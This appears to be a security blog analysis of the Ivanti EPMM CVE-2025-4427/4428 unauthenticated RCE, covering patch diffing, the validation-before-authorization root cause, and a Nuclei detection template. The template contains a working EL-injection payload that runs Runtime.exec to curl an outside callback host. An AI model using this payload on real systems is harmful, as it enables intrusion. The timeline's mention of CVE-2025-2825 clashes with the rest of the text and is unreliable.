-

6 min read

CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis

CVE-2025-4427/4428 : Ivanti EPMM Remote Code Execution - Technical Analysis

Introduction

As security researchers, we all know that familiar dance when blackbox testing web apps and APIs. You poke an endpoint, get hit with "blah parameter is missing" or "blah is of the wrong type," and after satisfying every requirement, you're often met with the frustrating 401 or 403. That feeling of being so close, yet so far, is something we've all experienced.

However, in a recent analysis of Ivanti EPMM's CVE-2025-4427 and CVE-2025-4428 , this very flow of execution – validation happening before authorization – inadvertently paved the way to an unauthenticated Remote Code Execution vulnerability in an Ivanti EPMM/Mobileiron.

Background

In Hibernate Validator, the ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate) call lets you supply a custom violation message using a template string. If that template is constructed from untrusted user input without any escaping or sanitization it effectively opens the door to server-side template injection (SSTI) or Expression-Language (EL) injection. At runtime, Hibernate may process the template through Spring’s StandardELContext to resolve placeholders like ${…}, inadvertently executing any embedded expressions

Patch Diffing

We unpacked both the patched and unpatched builds of the EPMM server and ran a recursive diff across de-compiled classes. Two validators revealed one-line patches that neutralise user input within error messages:

In DeviceFeatureUsageReportQueryRequestValidator:

Before, the raw format field from the query string was passed into the message builder; after, it was replaced with an empty string. This eliminates the direct EL entry-point, since the message template no longer contains attacker data.

Similarly, In ScepSubjectValidator (used during certificate enrollment):

Here, any user-supplied certificate subject DN used to be HTML-encoded and then concatenated into the error template. That too could carry ${…} payloads into an EL context. The patch removes the interpolation entirely.

Mapping Source To Sink

While looking where DeviceFeatureUsageReportQueryRequest validator is called, we came across the following controller:

java

1@RequestMapping(method = GET, value = "/api/v2/featureusage")
2@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
3@ResponseBody
4public Response downloadDeviceFeatureUsageReport(
5    @Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
6    HttpServletRequest request) {
7    [...]
8  }

MobileIron API exposes GET endpoints at /api/v2/featureusage and /api/v2/featureusage_history and to allow administrators to download device-feature usage reports in formats such as CSV, JSON or PDF.

While making the request to this endpoint as an authenticated user with "format" as query parameter with an invalid value to see if the DeviceFeatureUsageReportQueryRequestValidator is triggered.

and as expected we got the response "Format 'xxx' is invalid. Valid formats are 'json', 'csv'."

Now, entering a simple expression language evaluation payload such as ${3*333} we could confirm the evaluation from response returned "Format '999' is invalid. Valid formats are 'json', 'csv'." .

Suprisingly, this also worked without authentication cookies or token i.e. as unauthenticated user.

Spring MVC’s Argument Resolution and Security Ordering

To understand why unauthenticated EL evaluation remains possible, we must observe the precise sequence of steps Spring MVC takes for each incoming request:

  1. The DispatcherServlet matches the request URL to a controller method via HandlerMapping.
  2. A HandlerAdapter begins preparing the method arguments: it instantiates parameter objects, binds request parameters, and if @Valid is present, runs all registered javax.validation.Validator implementations or Spring’s DataBinder hooks for those objects.
  3. Only after all arguments are bound and validated does Spring invoke the controller method. At this moment MethodSecurityInterceptor (the mechanism behind @PreAuthorize and @Secured) wraps the invocation and checks permissions.

Because bean-validation fires in step 2, any code executed inside a custom ConstraintValidator runs with the application’s full privileges, even though the authentication and authorization filters have not yet been applied to the HTTP request.

Root Cause Analysis - Tldr;

  • A request hits the controller with an attacker-controlled format parameter.
  • Spring MVC binds query parameters to DeviceFeatureUsageReportQueryRequest
  • @Valid triggers DeviceFeatureUsageReportQueryRequestValidator.isValid().
  • The validator calls localizedMessageBuilder, inserting the untrusted format value into a message template.
  • The template is parsed by the EL engine; any ${…} expression is evaluated immediately. 
  • Only after validation finishes does MethodSecurityInterceptor execute the @PreAuthorize check which is obviously too late.
  • Result: arbitrary code runs in the application context, no credentials required.

Extras

Similarly, we found that @ScepSubjectValidator can be called post-authentication by an admin user that is allowed to create or edit SCEP certificate and test SCEP certificate enrollment.

Template

We've created a Nuclei template to easily identify vulnerable Ivanti EPMM instances:

yaml

1id: CVE-2025-4427
2
3info:
4  name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
5  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
6  severity: critical
7  description: |
8    An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
9  reference:
10    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
11  classification:
12    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
13    cvss-score: 5.3
14    cve-id: CVE-2025-4427
15    cwe-id: CWE-288
16    epss-score: 0.00942
17    epss-percentile: 0.75063
18  metadata:
19    verified: true
20    max-request: 2
21    shodan-query: http.favicon.hash:"362091310"
22    fofa-query: icon_hash="362091310"
23    product: endpoint_manager_mobile
24    vendor: ivanti
25  tags: cve,cve2025,ivanti,epmm,rce,ssti
26
27http:
28  - raw:
29      - |
30        GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
31        Host: {{Hostname}}
32
33      - |
34        GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
35        Host: {{Hostname}}
36
37    stop-at-first-match: true
38    matchers-condition: and
39    matchers:
40      - type: word
41        part: body
42        words:
43          - "Format 'Process[pid="
44          - "localizedMessage"
45        condition: and
46
47      - type: word
48        part: interactsh_protocol
49        words:
50          - dns
51
52      - type: status
53        status:
54          - 400

Timeline for CVE-2025-4427:

  • May 13, 2025: The National Vulnerability Database (NVD) published details of CVE-2025-2825, highlighting a high and a medium vulnerability in Ivanti EPMM versions that may result in unauthenticated RCE.
  • May 14, 2025: Security articles and advisories began circulating, emphasizing the critical nature of the vulnerability and recommending immediate patching.
  • May 15, 2025: The ProjectDiscovery Research Team published a Nuclei template to detect CVE-2025-4427, facilitating the identification of vulnerable Ivanti EPMM instances.

Conclusion

In the end, CVE-2025-4427 and its sibling CVE-2025-4428 serve as a striking reminder that even well-intentioned security controls can be undermined by the subtleties of framework internals. What appeared to be a simple EL-injection patch in Ivanti’s EPMM validators actually masked a deeper ordering flaw: bean-validation running before Spring Security’s authorization check. By diffing consecutive releases and tracing every call to buildConstraintViolationWithTemplate, we peeled back the layers of Spring MVC’s argument resolution and exposed a window where untrusted input could execute arbitrary code, all without ever presenting a login prompt.

If you're running a vulnerable Ivanti EPMM instance, update to the one of the fixed versions 11.12.0.5, 12.3.0.2, 12.4.0.2 or 12.5.0.1 as detailed in the Ivanti advisory.

This nuclei template is now part of the ProjectDiscovery Cloud platform, so you can automatically detect this vulnerability across your infrastructure. We also offer free monthly scans to help you detect emerging threats, covering all major vulnerabilities on an ongoing basis, plus a complete 30-day trial available to business email addresses.